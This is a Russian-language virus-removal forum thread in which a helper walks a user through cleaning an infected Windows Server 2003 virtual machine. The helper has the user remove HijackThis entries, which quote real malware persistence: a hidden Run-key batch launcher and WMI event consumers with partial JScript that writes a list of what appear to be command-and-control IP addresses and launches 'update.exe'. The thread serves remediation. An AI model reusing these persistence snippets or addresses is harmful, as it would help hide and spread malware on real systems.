Помогите избавиться от вируса

[harkovaa]

Здравствуйте!
Пожалуйста помогите избавиться от вируса.

[Info_bot]

Уважаемый(ая) harkovaa, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[Sandor]

Здравствуйте!

"Пофиксите" в HijackThis:

O4 - HKLM\..\Run: [BGClients] = C:\WINDOWS\system32\cmd.exe /c start /min c:\windows\system32\wbem\123.bat
O25 - WMI Event: fuckyoumm_consumer - fuckyoumm_filter - var toff=3000;var fso=new ActiveXObject("Scripting.FilesystemObject");var http=new ActiveXObject("Msxml2.ServerXMLHTTP");if(!fso.FileExists('wpd.xml')){var f=fso.CreateTextFile('wpd.xml',2);f.writeLine('69.30.200.178'+'\r\n'+'45.116.13.219'+'\r\n'+'150.107.76.227'+'\r\n'+'103.213.246.23');f.Close();(2702 bytes)
O25 - WMI Event: msupdate - CLASS_FIRST_TEST - Event="__InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'", Set objShell = CreateObject("WScript.Shell")¶ objShell.Run "C:\WINDOWS\system32\update.exe"¶

Перезагрузите компьютер вручную и сделайте повторные логи по правилам. (CollectionLog)

[harkovaa]

Здравствуйте!

"Пофиксите" в HijackThis:

O4 - HKLM\..\Run: [BGClients] = C:\WINDOWS\system32\cmd.exe /c start /min c:\windows\system32\wbem\123.bat
O25 - WMI Event: fuckyoumm_consumer - fuckyoumm_filter - var toff=3000;var fso=new ActiveXObject("Scripting.FilesystemObject");var http=new ActiveXObject("Msxml2.ServerXMLHTTP");if(!fso.FileExists('wpd.xml')){var f=fso.CreateTextFile('wpd.xml',2);f.writeLine('69.30.200.178'+'\r\n'+'45.116.13.219'+'\r\n'+'150.107.76.227'+'\r\n'+'103.213.246.23');f.Close();(2702 bytes)
O25 - WMI Event: msupdate - CLASS_FIRST_TEST - Event="__InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'", Set objShell = CreateObject("WScript.Shell")¶ objShell.Run "C:\WINDOWS\system32\update.exe"¶

Перезагрузите компьютер вручную и сделайте повторные логи по правилам. (CollectionLog)

Пофиксил.

[Sandor]

Вы не описали как внешне проявляется. Что сейчас с проблемой?

[harkovaa]

Вы не описали как внешне проявляется. Что сейчас с проблемой?

Сильно тормозит система. Постоянные оповещения антивируса об опасных объектах. При санировании Dr.Web CureIt! и Касперский VRT постоянно обнаруживаются вирусы, лечатся но после перезапуска появляются вновь, при сканировании с загрузочной флешки не нахотятся вирусы вообще. При попытке жесткого удаления прекращается отправка исходящих пакетов по сети.
Снимок экрана 2019-10-16 в 13.58.19.jpg

[Sandor]

Это продолжается и сейчас?
Если да:
Скачайте Malwarebytes' Anti-Malware. Установите и запустите.
На вкладке "Проверка" - "Полная проверка" нажмите кнопку "Начать проверку". Дождитесь окончания проверки.
Самостоятельно ничего не удаляйте!!!
Нажмите кнопку "Сохранить результат - Текстовый файл (*.txt)". Имя сохраняемому файлу дайте любое, например, "scan".
Отчёт прикрепите к сообщению.

[harkovaa]

При попытке установки выдается такое диалоговое окно.

Это продолжается и сейчас?
Если да:
Скачайте Malwarebytes' Anti-Malware. Установите и запустите.
На вкладке "Проверка" - "Полная проверка" нажмите кнопку "Начать проверку". Дождитесь окончания проверки.
Самостоятельно ничего не удаляйте!!!
Нажмите кнопку "Сохранить результат - Текстовый файл (*.txt)". Имя сохраняемому файлу дайте любое, например, "scan".
Отчёт прикрепите к сообщению.

[Sandor]

Ах, да, на 2003 эта версия не поставится.

Сделайте полный образ автозапуска uVS, только программу скачайте отсюда

- - - - -Добавлено - - - - -

p.s.
Вам необходимо лечить именно виртуальную машину? Вариант переустановить не рассматривается?

[harkovaa]

Сделал

Ах, да, на 2003 эта версия не поставится.

Сделайте полный образ автозапуска uVS, только программу скачайте отсюда

- - - - -Добавлено - - - - -

p.s.
Вам необходимо лечить именно виртуальную машину? Вариант переустановить не рассматривается?

Именно лечить. К сожалению переустановка не возможна по определенным причинам.

[Sandor]

Вы собрали отчет Автологером, а я просил нечто другое.